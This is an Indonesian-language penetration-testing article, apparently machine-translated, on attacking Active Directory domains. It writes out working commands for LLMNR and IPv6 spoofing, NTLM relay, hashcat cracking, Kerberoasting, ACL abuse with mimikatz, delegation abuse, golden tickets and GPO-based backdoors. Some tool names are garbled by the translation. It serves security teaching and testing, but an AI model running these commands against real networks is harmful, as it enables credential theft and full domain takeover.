Serangan Domain


Saat melakukan pengujian penetrasi, kami cukup sering mendeteksi kesalahan dalam konfigurasi domain. Meskipun ini tampaknya tidak penting bagi banyak orang, pada kenyataannya, ketidakakuratan semacam itu dapat menyebabkan seluruh domain dikompromikan.

Sebagai contoh, menurut hasil dari pentest dalam satu perusahaan, kami sampai pada kesimpulan bahwa semua mesin yang tersedia di domain tidak lebih rendah dari Windows10 / Windows Server2016, dan mereka memiliki semua tambalan terbaru pada mereka. Jaringan dipindai secara teratur, mesin-mesinnya keras. Semua pengguna duduk melalui token dan tidak tahu "kata sandi 20 karakter" mereka. Semuanya tampak baik-baik saja, tetapi IPv6 belum dinonaktifkan. Skema penangkapan domain tampak seperti ini:

mitm6 -> ntlmrelay -> serangan melalui delegasi -> kata sandi administrator lokal diterima -> kata sandi administrator domain diterima.

Sayangnya, sertifikasi populer seperti OSCP, GPEN, atau CEH tidak mengajarkan pengujian penetrasi Active Directory.

Pada artikel ini, kita akan melihat beberapa jenis serangan Direktori Aktif yang kami lakukan sebagai bagian dari pentest, serta alat yang digunakan. Ini sama sekali tidak dapat dianggap sebagai panduan lengkap untuk semua jenis serangan dan alat, benar-benar ada banyak, dan sulit untuk masuk ke dalam satu artikel.

Jadi, untuk demonstrasi, kami menggunakan laptop di Kali Linux 2019 dan virtual host dibesarkan di VMware. Bayangkan bahwa tujuan utama pentest adalah untuk mendapatkan hak administrator domain, dan sebagai masukan kita memiliki akses ke jaringan perusahaan perusahaan melalui ethernet. Untuk mulai menguji domain, kami memerlukan akun.

Mendapatkan akun


Pertimbangkan dua metode yang paling umum, menurut saya, untuk mendapatkan login dan kata sandi akun domain: LLMNR / NBNS spoofing dan menyerang protokol IPv6.

LLMNR / NBNS Spoofing


Sudah banyak yang dikatakan tentang serangan ini. Intinya adalah bahwa klien mengirimkan LLMNR multicast dan menyiarkan permintaan NBT-NS untuk menyelesaikan nama host jika ini tidak mungkin melalui DNS. Setiap pengguna jaringan dapat menjawab permintaan tersebut.

Alat yang memungkinkan serangan:

  • Tanggapan
  • Inveight
  • Modul Metasploit: auxiliary / spoof / llmnr / llmnr_response, auxiliary / spoof / nbns / nbns_response,
    tambahan / server / tangkap / seseorang, tambahan / server / tangkap / http_ntlm

Dengan serangan yang berhasil, kita bisa mendapatkan hash NetNTLM dari kata sandi pengguna.

Responder -I eth0 -wrf 



Hash yang dihasilkan, kita dapat men-debug atau menjalankan relai NTLM.

Serangan IPv6


Jika IPv6 digunakan dalam jaringan perusahaan, kami dapat menanggapi permintaan DHCPv6 dan menetapkan alamat IP kami sebagai server DNS pada mesin yang diserang. Karena IPv6 lebih diutamakan daripada IPv4, permintaan DNS klien akan dikirim ke alamat kami. Baca lebih lanjut tentang serangan di sini .

Alat:


Menjalankan utilitas mitm6

 mitm6 -i vmnet0 

Setelah serangan selesai, server DNS baru dengan alamat IPv6 kami akan muncul di workstation yang diserang.



Mesin yang diserang akan mencoba mengautentikasi dengan mesin kami. Setelah mengangkat server SMB menggunakan utilitas smbserver.py , kita bisa mendapatkan hash kata sandi pengguna.

 smbserver.py -smb2support SMB /root/SMB 



Tindakan Hash yang Ditangkap


Langkah selanjutnya adalah melakukan serangan kriptografis pada hash kata sandi dan mendapatkan kata sandi dalam teks yang jelas, atau melakukan relai NTLM.

Kata sandi brute force


Sederhana: ambil kata sandi hash, hashcat

 hashcat -m 5600 -a 3 hash.txt /usr/share/wordlists/rockyou.txt 

dan brutus. Kata sandi dapat diperoleh atau tidak :)


Kata sandi pengguna Harvey telah dipulihkan - Pbvf2019

Relay NTLM


Kami juga dapat menjalankan relay NTLM. Setelah memastikan bahwa Penandatanganan SMB tidak digunakan , kami menggunakan utilitas ntlmrelayx.py dan melakukan serangan. Di sini lagi, tergantung pada tujuannya, kami memilih vektor yang kami butuhkan. Mari kita pertimbangkan beberapa di antaranya.


Akses ke mesin yang diserang melalui protokol SMB


Lakukan serangan dengan kunci i .

 ntlmrelayx.py -t 192.168.1.5 -l loot -i 



Dengan serangan yang berhasil, kita dapat terhubung ke mesin jarak jauh menggunakan netcat.



Pengumpulan Informasi Domain


Dalam hal ini, kami melakukan relai ke pengontrol domain.

 ntlmrelayx.py -t ldap://192.168.1.2 

Jika serangan berhasil, kami akan mendapatkan informasi terperinci tentang domain:



Menambahkan komputer baru ke domain


Setiap pengguna secara default memiliki kemampuan untuk membuat hingga 10 komputer dalam domain tersebut. Untuk membuat komputer, Anda perlu merelay ke pengontrol domain menggunakan protokol ldaps. Membuat pengguna dan komputer melalui koneksi ldap yang tidak terenkripsi dilarang. Selain itu, akun tidak dapat dibuat jika koneksi melalui SMB dicegat.

 ntlmrelayx.py -t ldaps://192.168.1.2 --add-computer 



Seperti yang Anda lihat pada gambar, kami dapat membuat komputer RORYOTGS $.

Saat membuat lebih dari 10 komputer, kami mendapatkan kesalahan dari formulir berikut:



Dengan menggunakan kredensial komputer RORYOTGS $, kami dapat melakukan permintaan yang sah ke pengontrol domain.

Pengumpulan Informasi Domain


Jadi, kami memiliki pengguna domain atau akun komputer. Untuk melanjutkan pengujian, kami perlu mengumpulkan informasi yang tersedia untuk perencanaan serangan lebih lanjut. Pertimbangkan beberapa alat yang akan membantu kami menentukan pencarian untuk sistem yang paling kritis, merencanakan dan melaksanakan serangan.

Anjing pelacak


Salah satu alat paling penting yang digunakan di hampir semua pengujian penetrasi internal. Proyek ini secara aktif mengembangkan dan dilengkapi dengan fitur-fitur baru.

Informasi dikumpulkan oleh anjing pelacak
  • Grup - Melakukan pengumpulan keanggotaan grup
  • LocalAdmin - Melakukan pengumpulan admin lokal
  • RDP - Melakukan pengumpulan Pengguna Remote Desktop
  • DCOM - Melakukan pengumpulan COM Users Terdistribusi
  • GPOLocalGroup - Melakukan pengumpulan admin lokal menggunakan Objek Kebijakan Grup
  • Session - Melakukan pengumpulan sesi
  • ComputerOnly - Melakukan admin lokal, RDP, DCOM, dan koleksi sesi
  • LoggedOn - Melakukan pengumpulan sesi istimewa (membutuhkan hak admin pada sistem target)
  • Trusts - Melakukan enumerasi kepercayaan domain
  • ACL - Melakukan pengumpulan ACL
  • Wadah - Melakukan pengumpulan Kontainer;
  • DcOnly - Melakukan pengumpulan menggunakan LDAP saja. Termasuk Grup, Trust, ACL, ObjectProps, Container, dan GPOLocalGroup
  • Semua - Melakukan semua Metode Pengumpulan kecuali GPOLocalGroup dan LoggedOn
  • Hutan Pencarian - Cari semua domain di hutan, bukan hanya domain Anda saat ini
  • Domain - Cari domain tertentu. Menggunakan domain Anda saat ini jika nol (Default: null)
  • Stealth - Melakukan metode pengumpulan siluman. Semua opsi siluman berulir tunggal
  • SkipGCDeconfliction - Abaikan dekonfigurasi Katalog Global selama enumerasi sesi. Ini dapat mempercepat pencacahan, tetapi akan menghasilkan kemungkinan ketidakakuratan dalam data
  • ExcludeDc - Tidak termasuk pengontrol domain dari pencacahan (menghindari bendera ATA Microsoft)
  • ComputerFile - Menentukan file untuk memuat nama / IP komputer dari
  • OU - Tentukan OU mana yang akan dihitung


Pengumpul informasi adalah SharpHound.exe (harus diinstal. NET v3.5) dan skrip SharpHound.ps1 ditulis dalam PowerShell. Ada juga kompiler yang ditulis oleh pengembang Python pihak ketiga, Bloodhound-python .

Sebagai basis data, Neo4j digunakan, yang memiliki sintaksnya sendiri, yang memungkinkan Anda untuk melakukan kueri khusus. Anda dapat membaca lebih lanjut tentang sintaks di sini .

Di luar kotak 12 permintaan tersedia
  • Temukan semua Admin Domain
  • Temukan Jalur Terpendek ke Admin Domain
  • Temukan Kepala Sekolah dengan Hak DCSync
  • Pengguna dengan Keanggotaan Grup Domain Asing
  • Grup dengan Keanggotaan Grup Domain Asing
  • Peta trust domain
  • Jalur Terpendek ke Sistem Delegasi Tanpa Batas
  • Jalur Terpendek dari Pengguna Kerberoastable
  • Jalur Terpendek ke Admin Domain dari Pengguna Kerberoastable
  • Jalur Terpendek dari Kepala Sekolah Milik
  • Jalur Terpendek ke Admin Domain dari Kepala Sekolah Milik
  • Jalur Terpendek ke Target Nilai Tinggi


Pengembang juga menyediakan skrip DBCreator.py , yang memungkinkan Anda membuat basis data acak untuk pengujian.



Neo4j memiliki API REST. Ada berbagai utilitas yang dapat terhubung ke database dan menggunakan data yang diterima:


Mari kita pertimbangkan beberapa di antaranya.

Cypherdog


CypherDog adalah cangkang BloodHound yang ditulis dengan PowerShell. Termasuk 27 cmdlet.

Daftar Cmdlet
CmdletSinopsis
Dapatkan-BloodHoundCmdletBloodHound RTFM - Dapatkan Cmdlet
Kirim-anjing pelacakBloodHound POST - Cypher to REST API
Dapatkan-BloodHoundNodeBloodHound Node - Dapatkan Node
Cari-BloodHoundNodeBloodHound Node - Cari Node
New-BloodHoundNodeBloodHound Node - Buat Node
Set-bloodhoundnodeBloodHound Node - Perbarui Node
Hapus-BloodHoundNodeBloodHound Node - Hapus Node
Dapatkan-BloodHoundNodeListBloodHound Node - Dapatkan Daftar
Dapatkan-BloodHoundNodeHighValueBloodHound Node - Dapatkan Nilai Tinggi
Dapatkan-BloodHoundNodeOwnedBloodHound Node - Dapatkan Milik
Dapatkan-BloodHoundNodeNoteBloodHound Node - Dapatkan Catatan
Set-BloodHoundNodeNoteBloodHound Node - Set Notes
Dapatkan-BloodHoundBlacklistBloodHound Node - Dapatkan Blacklist
Set-BloodHoundBlacklistBloodHound Node - Tetapkan Daftar Hitam
Hapus-BloodHoundBlacklistBloodHound Node - Hapus Daftar Hitam
Dapatkan-BloodHoundEdgeBloodHound Edge - Dapatkan Target
Dapatkan-BloodHoundEdgeReverseBloodHound Edge - Dapatkan Sumber
Dapatkan-BloodHoundEdgeCrossDomainBloodHound Edge - Dapatkan CrossDomain
Dapatkan-BloodHoundEdgeCountBloodHound Edge - Dapatkan Hitungan
Dapatkan-BloodHoundEdgeInfoBloodHound Edge - Dapatkan Info
New-BloodHoundEdgeBloodHound Edge - Buat Edge
Hapus-BloodHoundEdgeBloodHound Edge - Delete Edge
Dapatkan-BloodHoundPathShortBloodHound Path - Dapatkan Terpendek
Dapatkan-BloodHoundPathAnyBloodHound Path - Dapatkan Apa Saja
Dapatkan-BloodHoundPathCostBloodHound Path - Dapatkan Biaya
Dapatkan-BloodHoundPathCheapBloodHound Path - Dapatkan Yang Termurah
Dapatkan-BloodHoundWald0IOBloodHound Path - Dapatkan Wald0 Index


Contoh Penggunaan
TimDeskripsi
Cari-BloodHoundNode -Jenis Komputer -Properti tanpa kendala -Nilai $ true | pilih nama, Nama layanan khusus, delegasi tidak dibatasi, sistem operasi | Format-daftarCari komputer dengan delegasi Kerberos tanpa batas
Pengguna tepi ADMINISTRATOR@JET.LAB Anggota GrupDaftar grup pengguna
Apa yang Digunakan Komputer Pengguna ADMINISTRATOR@JET.LABDaftar komputer di mana ada sesi pengguna Administrator
Path pengguna Komputer HARVEY@JET.LAB DC1.JET.LABCetak jalur dari pengguna ke pengontrol domain
apa yang menjadi anggota Grup Member 'DOMAIN ADMINS@JET.LAB' * | daftar masukCantumkan sesi pengguna aktif yang merupakan anggota grup Admin DOMAIN
apa yang menjadi anggota Grup Member 'DOMAIN ADMINS@JET.LAB' | daftar masuk |? operat * -match 7 | daftar AdminTo | pilih namaDaftar pengguna yang memiliki hak administrator pada workstation yang menjalankan Windows 7 yang memiliki sesi pengguna dari grup administrator domain


Secara default, otentikasi diperlukan untuk mengakses database neo4j. Anda dapat menonaktifkan otentikasi dengan mengedit file neo4j.conf. Perlu menghapus tanda komentar pada baris dbms.security.auth_enabled = false. Tapi ini tidak disarankan, karena setiap pengguna dapat terhubung ke database di 127.0.0.1:7474 (konfigurasi default). Anda dapat membaca lebih lanjut tentang otentikasi dan otorisasi di neo4j di sini.

Ambil


GoFetch menggunakan grafik yang dibuat dalam bloodhound untuk merencanakan dan mengeksekusi serangan.

Contoh grafik Bloodhound


Logika GoFetch


Peluncuran serangan

 .\Invoke-GoFetch.ps1 -PathToGraph .\pathFromBloodHound.json 

gt-generator


gt-generator , menggunakan data BloodHound, membuatnya mudah untuk membuat tiket emas. Untuk menerima tiket emas, hanya hash nama pengguna dan kata sandi pengguna KRBTGT yang diperlukan.

 python gt-generator.py -s 127.0.0.1 -u user -p pass administrator <KRBTGT_HASH> 



Powerview


PowerView adalah kerangka kerja Powershell yang disertakan dengan PowerSploit . Berikut ini adalah daftar beberapa cmdlet yang dapat membantu Anda mengumpulkan informasi tentang domain.

Daftar Cmdlet
Dapatkan-NetDomain -Domain jet.labDapatkan domain saat ini
Dapatkan-domainSIDDapatkan SID domain saat ini
Dapatkan-NetDomainController -Domain jet.labDapatkan pengontrol domain untuk domain
Dapatkan-NetUser -Domain jet.lab -UserName labuserDapatkan pengguna domain
Dapatkan-NetGroup * group_name *Dapatkan semua grup di domain saat ini
Get-NetGroupMember -GroupName "Admin Domain"Dapatkan semua anggota grup Admin Domain
Get-NetGroup -UserName "domain_user"Dapatkan keanggotaan grup untuk pengguna
Dapatkan-NetComputer -FullDataDapatkan semua komputer dari domain
Temukan-LocalAdminAccess -VerboseTemukan semua mesin di domain saat ini di mana pengguna saat ini memiliki akses admin lokal
Dapatkan-NetSession -ComputerName dc02.jet.labDaftar Sesi di komputer tertentu
Invoke-UserHunter -CheckAccessTemukan komputer tempat admin domain masuk dan pengguna saat ini memiliki akses


Adidnsdump


Saat menggunakan DNS terintegrasi di Active Directory, setiap pengguna domain dapat meminta semua catatan DNS default.

Alat yang Digunakan: Adidnsdump.



Serangan Domain


Sekarang kami memiliki informasi domain, kami beralih ke fase berikutnya dari pengujian penetrasi - langsung ke serangan. Pertimbangkan 4 vektor potensial:

  1. Memanggang
  2. Serang melalui ACL
  3. Delegasi Kerberos
  4. Menyalahgunakan Izin GPO


Memanggang


Jenis serangan ini menargetkan protokol Kerberos. Ada 2 jenis serangan seperti Roasting:

  • Kerberoast
  • Asreproast

Kerberoast


Serangan itu pertama kali ditunjukkan oleh pengguna timmedin di DerbyCon pada 2014 ( video ). Dengan serangan yang berhasil, kami akan dapat memilah kata sandi layanan USG dalam mode offline, tanpa takut memblokir pengguna. Cukup sering, akun layanan memiliki hak berlebihan dan kata sandi abadi, yang memungkinkan kami untuk mendapatkan hak administrator domain.
Untuk memahami inti dari serangan itu, pertimbangkan cara kerja Kerberos.



1. Kata sandi dikonversi ke hash NTLM, cap waktu dienkripsi dengan hash dan dikirim ke KDC sebagai autentikator dalam permintaan tiket TGT (AS-REQ). Pengontrol domain (KDC) memeriksa informasi pengguna dan membuat tiket TGT.

2. Tiket TGT dienkripsi, ditandatangani, dan dikirim ke pengguna (AS-REP). Hanya layanan Kerberos (KRBTGT) yang dapat membuka dan membaca data dari tiket TGT.

3. Pengguna mengirimkan tiket TGT ke pengontrol domain berdasarkan permintaan tiket TGS (TGS-REQ). Pengontrol domain membuka tiket TGT dan memeriksa checksum PAC.

4. Tiket TGS dienkripsi dengan hash NTLM dari kata sandi akun layanan dan dikirim ke pengguna (TGS-REP).

5. Pengguna menyediakan tiket TGS ke komputer tempat layanan berjalan (AP-REQ). Layanan membuka tiket TGS menggunakan hash NTLM-nya.

6. Akses ke layanan disediakan (AS-REP).

Setelah menerima tiket TGS (TGS-REP), kami dapat menemukan kata sandi untuk akun layanan offline. Misalnya, menggunakan hashcat.

Menurut RFC396 , 20 jenis enkripsi dicadangkan untuk protokol Kerberos. Jenis-jenis enkripsi yang digunakan sekarang, dengan urutan prioritas:

  • AES256_CTS_HMAC_SHA1
  • AES128_CTS_HMAC_SHA1
  • RC4_HMAC_MD5

Dalam versi Windows terbaru, enkripsi AES digunakan secara default. Tetapi untuk kompatibilitas dengan sistem di bawah Windows Vista dan Windows 2008 server, dukungan untuk algoritma RC4 diperlukan. Saat melakukan serangan, upaya selalu dilakukan terlebih dahulu untuk mendapatkan tiket TGS dengan enkripsi RC4_HMAC_MD5, yang memungkinkan kata sandi yang lebih cepat untuk disortir, dan kemudian dengan sisanya. Harmj0y melakukan penelitian yang menarik dan menemukan bahwa jika Anda hanya menentukan dukungan enkripsi Kerberos AES128 dan AES256 di properti pengguna, tiket Kerberos masih dikeluarkan dengan enkripsi RC4_HMAC_MD5.



Menonaktifkan RC4_HMAC_MD5 diperlukan di tingkat domain.

Serangan Kerberoasting memiliki 2 pendekatan.

1. Metode lama. Tiket TGS diminta melalui setspn.exe atau .NET System.IdentityModel.Tokens.KerberosRequestorSecurityToken dari kelas Powershell, diambil dari memori menggunakan mimikatz, kemudian dikonversi ke format yang diinginkan (John, Hashcat) dan disortir.

2. Metode baru. machosec memperhatikan bahwa kelas KerberosRequestorSecurityToken memiliki metode GetRequest , yang mengekstrak bagian terenkripsi dengan kata sandi dari tiket TGS.

Alat untuk melakukan serangan:

1) Cari catatan SPN


2) Meminta tiket TGS

  • setspn.exe (utilitas Windows asli)
  • Permintaan tiket melalui PowerShell

     Add-Type -AssemblyNAme System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “<ServicePrincipalName>” 
  • Minta-SPNTicket

Anda dapat melihat tiket yang di-cache saat ini menggunakan perintah klist.

Catatan SPN umum
  • TERMSRV - Remote Desktop
  • SmtpSVC dan SMTP - Mail
  • WSMAN - WinRM
  • ExchangeAB, ExchangeRFR, ExchangeMDM - MS Exchange
  • POP / POP3 - Layanan Pos POP3
  • IMAP / IMAP4 - Layanan Email IMAP
  • MSSQLSvc - Microsoft SQL Server
  • MONGO - Server Basis Data MongoDB
  • DNS - DNS server
  • HTTP, WWW - Server Web
  • LDAP - LDAP
  • FTP - Server FTP


3) Ekspor tiket:



Contoh eksekusi otomatis ketiga poin:

  • RiskiskSPN

     Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File kerberoasting.txt 
  • Powersploit

     Invoke-Kerberoast -Domain jet.lab -OutputFormat Hashcat | fl 
  • GetUserSPNs.py

     GetUserSPNs.py -request jet.lab\user:Password 

Asreproast


Kerentanannya adalah bahwa pra-otentikasi Kerberos dinonaktifkan. Dalam hal ini, kami dapat mengirim permintaan AS-REQ ke pengguna yang menonaktifkan otentikasi pra-Kerberos, dan mendapatkan bagian terenkripsi dengan kata sandi.



Kerentanan jarang terjadi, karena menonaktifkan praauthentikasi bukanlah pengaturan default.

Mencari Pengguna dengan Otentikasi Kerberos Dinonaktifkan:

  • Powerview

     Get-DomainUser -PreauthNotRequired -Properties samaccountname -Verbose 
  • Modul Direktori Aktif

     get-aduser -filter * -properties DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name 

Mendapatkan bagian yang dienkripsi:



Serang melalui ACL


ACL dalam konteks domain adalah seperangkat aturan yang menentukan hak akses objek dalam AD. ACL dapat dikonfigurasikan untuk objek tunggal (misalnya, akun pengguna), atau untuk unit organisasi, misalnya, OU. Ketika Anda mengkonfigurasi ACL pada OU, semua objek dalam OU akan mewarisi ACL. ACL berisi entri kontrol akses (ACE) yang menentukan bagaimana SID berinteraksi dengan objek Active Directory.

Misalnya, kami memiliki tiga grup: A, B, C, di mana grup C adalah anggota grup B dan grup B adalah anggota grup A. Saat Anda menambahkan tamu ke grup C, tamu tidak hanya akan menjadi anggota grup C, tetapi juga anggota tidak langsung dari grup B dan A. Saat menambahkan akses ke objek domain ke grup A, pengguna tamu juga akan memiliki akses ke objek ini. Dalam situasi di mana pengguna adalah anggota langsung dari satu grup, dan grup ini adalah anggota tidak langsung dari 50 grup lainnya, mudah untuk kehilangan koneksi izin yang diwarisi.

Anda dapat mengambil ACL yang terkait dengan objek dengan menjalankan perintah berikut

 Get-ObjectACL -Samaccountname Guest -ResolveGUIDs 

Anda dapat menggunakan alat ini untuk mengeksploitasi kesalahan dalam konfigurasi ACL.
Invoke-ACLPwn . Skrip Powershell mengumpulkan informasi tentang semua ACL di domain menggunakan kolektor BloodHound, SharpHound, dan membangun rantai untuk mendapatkan izin writeDACL. Setelah rantai dibangun, skrip mengoperasikan setiap langkah rantai. Urutan skrip:

  1. Pengguna ditambahkan ke grup yang diperlukan.
  2. Dua ACE (Replikasi Direktori Perubahan dan Replikasi Direktori Perubahan SEMUA) ditambahkan ke ACL objek domain.
  3. Jika Anda memiliki hak untuk DCSync menggunakan utilitas Mimikatz, kata sandi hash krbtgt pengguna diminta (pengaturan default).
  4. Setelah operasi selesai, skrip menghapus semua grup yang ditambahkan dan entri ACE di ACL.

Script hanya ditujukan untuk menggunakan izin writeDACL. Hak akses berikut juga mungkin menarik bagi penyerang:

  • ForceChangePassword. Hak untuk mengubah kata sandi pengguna ketika kata sandi saat ini tidak diketahui. Operasi dengan PowerSploit - Set-DomainUserPassword.
  • AddMembers. Hak untuk menambahkan grup, komputer, dan pengguna ke grup. Pengoperasian dengan PowerSploit - Add-DomainGroupMember.
  • GenericWrite Hak untuk mengubah atribut suatu objek. Misalnya, ubah nilai parameter scriptPath. Lain kali pengguna masuk ke sistem, file yang ditentukan dimulai. Pengoperasian dengan PowerSploit - Set-DomainObject.
  • Pemilik Tulis. Hak untuk mengubah pemilik objek. Pengoperasian dengan PowerSploit - Set-DomainObjectOwner.
  • AllExtendedRights. Hak untuk menambahkan pengguna ke grup, mengubah kata sandi pengguna, dll. Pengoperasian dengan PowerSploit - Set-DomainUserPassword atau Add-DomainGroupMember.

Operasi:


Mulai dari mesin yang ada di domain

 ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe 

Mulai dari mesin yang tidak ada dalam domain

 /Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'domain\user' -Domain 'fqdn_of_target_domain' -Password 'Pass' 

  • aclpwn.py adalah alat serupa yang ditulis dengan Python

Delegasi Kerberos


Pendelegasian wewenang Kerberos memungkinkan Anda menggunakan kembali kredensial pengguna akhir untuk mengakses sumber daya yang dihosting di server lain.

Delegasi Kerberos dapat terdiri dari tiga jenis:

  1. Tidak terbatas (delegasi tidak terbatas). Satu-satunya opsi delegasi sebelum Windows Server 2003
  2. Delegasi terbatas sejak Windows Server 2003
  3. Delegasi Terkendala Berbasis Sumberdaya Diperkenalkan pada Windows Server 2012

Delegasi tanpa batas


Di snap-in Active Directory, fitur delegasi tak terbatas yang diaktifkan adalah sebagai berikut:



Untuk kejelasan, pertimbangkan bagaimana delegasi tak terbatas terjadi pada diagram.



  1. Kata sandi pengguna dikonversi menjadi ntlm hash. Stempel waktu dienkripsi dengan hash ini dan dikirim ke pengontrol domain untuk meminta tiket TGT.
  2. Pengontrol domain memeriksa informasi tentang pengguna (pembatasan masuk, keanggotaan dalam grup, dll.), Membuat tiket TGT dan mengirimkannya kepada pengguna. Tiket TGT dienkripsi, ditandatangani, dan hanya krbtgt yang dapat membaca datanya.
  3. Pengguna meminta tiket TGS untuk mengakses layanan web di server web.
  4. Pengontrol domain menyediakan tiket TGS.
  5. Pengguna mengirimkan tiket TGT dan TGS ke server web.
  6. Akun layanan server web menggunakan tiket TGT pengguna untuk meminta tiket TGS untuk mengakses server database.
  7. Akun layanan terhubung ke server database sebagai pengguna.

Bahaya utama dari delegasi tak terbatas adalah ketika mesin dengan delegasi tak terbatas dikompromikan, penyerang akan bisa mendapatkan tiket pengguna TGT dari mesin ini dan akses ke sistem apa pun di domain atas nama pengguna ini.

Cari mesin dalam domain dengan delegasi tidak terbatas:

  • Powerview

     Get-NetComputer -unconstrained 
  • Modul Direktori Aktif

     Get-Adcomputer -Filter {TrustedForDelegation -eq $True} 
    .

Ekspor Tiket:

  • Menggunakan mimikatz. sekurlsa :: tiket / ekspor
  • Anda juga dapat melakukan serangan Pass-The-ticket.

      kerberos::ptt C:\tickets\. 



Delegasi terbatas


Mode pendelegasian terbatas memungkinkan Anda untuk mengakses hanya layanan yang diizinkan dan pada mesin tertentu. Di snap-in Active Directory, tampilannya seperti ini:



Dengan delegasi terbatas, 2 ekstensi protokol Kerberos digunakan:

  • S4 diri kita sendiri
  • S4UProxy

S4U2Self digunakan ketika klien tidak mengautentikasi menggunakan protokol Kerberos.

Untuk delegasi tanpa batas, TGT digunakan untuk mengidentifikasi pengguna, dalam hal ini ekstensi S4U menggunakan struktur PA-FOR-USER sebagai tipe baru di bidang data padata / pra-otentikasi. Proses S4U2self hanya diperbolehkan jika pengguna yang meminta memiliki bidang TRUSTED_TO_AUTH_FOR_DELEGATION yang disetel di userAccountControl.



S4U2Proxy memungkinkan akun layanan menggunakan tiket redirect yang diterima dalam proses S4U2 untuk meminta tiket TGS untuk akses ke layanan yang diizinkan (msds-allowtodelegateto). KDC memeriksa apakah layanan yang diminta ditentukan dalam bidang msds-allowtodelegateto dari pengguna yang meminta, dan mengeluarkan tiket jika pemeriksaan berhasil. Dengan demikian, pendelegasian “terbatas” untuk layanan target tertentu.



Anda dapat mencari komputer dan pengguna di domain delegasi terbatas menggunakan PowerView .

Cari komputer dengan delegasi tanpa batas

 Get-DomainComputer -TrustedtoAuth 

Cari pengguna delegasi terbatas

 Get-DomainUser -TrustedtoAuth 

Untuk melakukan serangan, kita memerlukan kata sandi yang jelas, hash kata sandi NTLM, atau tiket TGT.



Delegasi Terbatas Berbasis Sumberdaya


Seperti halnya delegasi biasa, ekstensi S4U digunakan. Karena delegasi berbasis sumber daya adalah delegasi terbatas, serangan yang relevan dengan delegasi terbatas reguler juga tersedia di sini. Satu-satunya perbedaan adalah bahwa dalam delegasi terbatas sederhana, layanan A harus memiliki atribut msDS-AllowedToDelegateTo = ServiceB, dan di sini layanan B harus memiliki msDS-AllowedToActOnBehalfOfOtherIdentity = atribut Service A.



Properti ini memungkinkan satu lagi serangan yang diterbitkan oleh harmj0y. Serangan memerlukan izin untuk mengubah parameter PrincipalsAllowedToDelegateToAccount, yang menetapkan msds-AllowedToActOnBehalfOfOtherIdentity atribut, yang berisi daftar kontrol akses (ACL). Tidak seperti delegasi yang terbatas, kami tidak memerlukan hak administrator domain untuk mengubah atribut msds-AllowedToActOnBehalfOfOtherIdentity. Anda dapat mengetahui siapa yang memiliki izin untuk mengedit atribut sebagai berikut:

 (Get-acl "AD:$((get-adcomputer Windows7).distinguishedname)").access | Where-Object -Property ActiveDirectoryRights -Match WriteProperty |out-gridview 



Jadi, untuk melakukan serangan, jalankan mitm6

 mitm6 -I vmnet0 

Kami memulai ntlmrelayx dengan opsi --delegate-access

 ntlmrelayx -t ldaps://dc1.jet.lab --delegate-access 

Sebagai akibat dari serangan itu, komputer ZGXTPVYX $ dibuat dengan hak delegasi ke komputer Windows7.

 $x = Get-ADComputer Windows7 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity $x.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access 



Laporan delegasi yang baik disajikan di PHDays oleh Yegor Podmokov.



Menyalahgunakan Izin GPO


Objek Kebijakan Grup adalah alat yang memungkinkan administrator mengelola domain secara efisien. Tetapi kebetulan bahwa pengguna diberi hak yang tidak perlu, termasuk untuk mengubah kebijakan GPO.

Untuk mendemonstrasikan contoh, kami akan menambahkan pengguna Ragnar hak untuk mengedit Kebijakan Pengontrol Domain Default (dalam kehidupan nyata, hak untuk kebijakan ini hanya diberikan kepada administrator domain, tetapi esensi serangan tidak berubah; dalam kasus kebijakan lain, hanya host yang dikendalikan yang berubah).



Hitung hak semua GPO di domain menggunakan PowerView .

 Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name} 



Pengguna Ragnar memiliki hak untuk mengubah GPO yang memiliki GUID 6AC1786C-016F-11D2-945F-00C04FB984F9. Untuk menentukan host di domain mana yang menerapkan kebijakan ini, jalankan perintah berikut

 Get-NetOU -GUID "6AC1786C-016F-11D2-945F-00C04FB984F9" | % {Get-NetComputer -AdSpath $_} 



Mendapat host dc1.jet.lab.

Mengetahui kebijakan khusus yang dapat diedit pengguna Ragnar dan host yang menerapkan kebijakan ini, kita dapat melakukan berbagai tindakan pada host dc1.jet.lab.

Di bawah ini adalah opsi untuk menggunakan GPO
Konfigurasi Komputer \ Preferensi \ Pengaturan Panel Kontrol \ Opsi FolderBuat / ubah asosiasi tipe file, daftarkan tindakan DDE dengan asosiasi tersebut
Konfigurasi Komputer \ Preferensi \ Pengaturan Panel Kontrol \ Pengguna dan Grup LokalTambahkan akun admin lokal baru
Computer Configuration\Preferences\Control Panel Settings\Scheduled TasksDeploy a new evil scheduled task (ie: PowerShell download cradle)
Computer Configuration\Preferences\Control Panel Settings\ServicesCreate and configure new evil services
Computer Configuration\Preferences\Windows Settings\FilesAffected computers will download a file from the domain controller
Computer Configuration\Preferences\Windows Settings\INI FilesUpdate existing INI files
Computer Configuration\Preferences\Windows Settings\RegistryUpdate specific registry keys. Very useful for disabling security mechanisms, or triggering code execution in any number of ways
Computer Configuration\Preferences\Windows Settings\ShortcutsDeploy a new evil shortcut
Computer Configuration\Policies\Software Settings\Software installationDeploy an evil MSI. The MSI must be available to the GP client via a network share
Computer Configuration\Policies\Windows Settings\Scripts (startup/shutdown)Configure and deploy evil startup scripts. Can run scripts out of GPO directory, can also run PowerShell commands with arguments
Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Audit PolicyModify local audit settings. Useful for evading detection
Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Grant a user the right to logon via RDP, grant a user SeDebugPrivilege, grant a user the right to load device drivers, grant a user seTakeOwnershipPrivilege. Basically, take over the remote computer without ever being an administrator on it
Computer Configuration\Policies\Windows Settings\Security Settings\RegistryAlter DACLs on registry keys, grant yourself an extremely hard to find backdoor on the system
Computer Configuration\Policies\Windows Settings\Security Settings\Windows FirewallManage the Windows firewall. Open up ports if they're blocked
Computer Configuration\Preferences\Windows Settings\EnvironmentAdd UNC path for DLL side loading
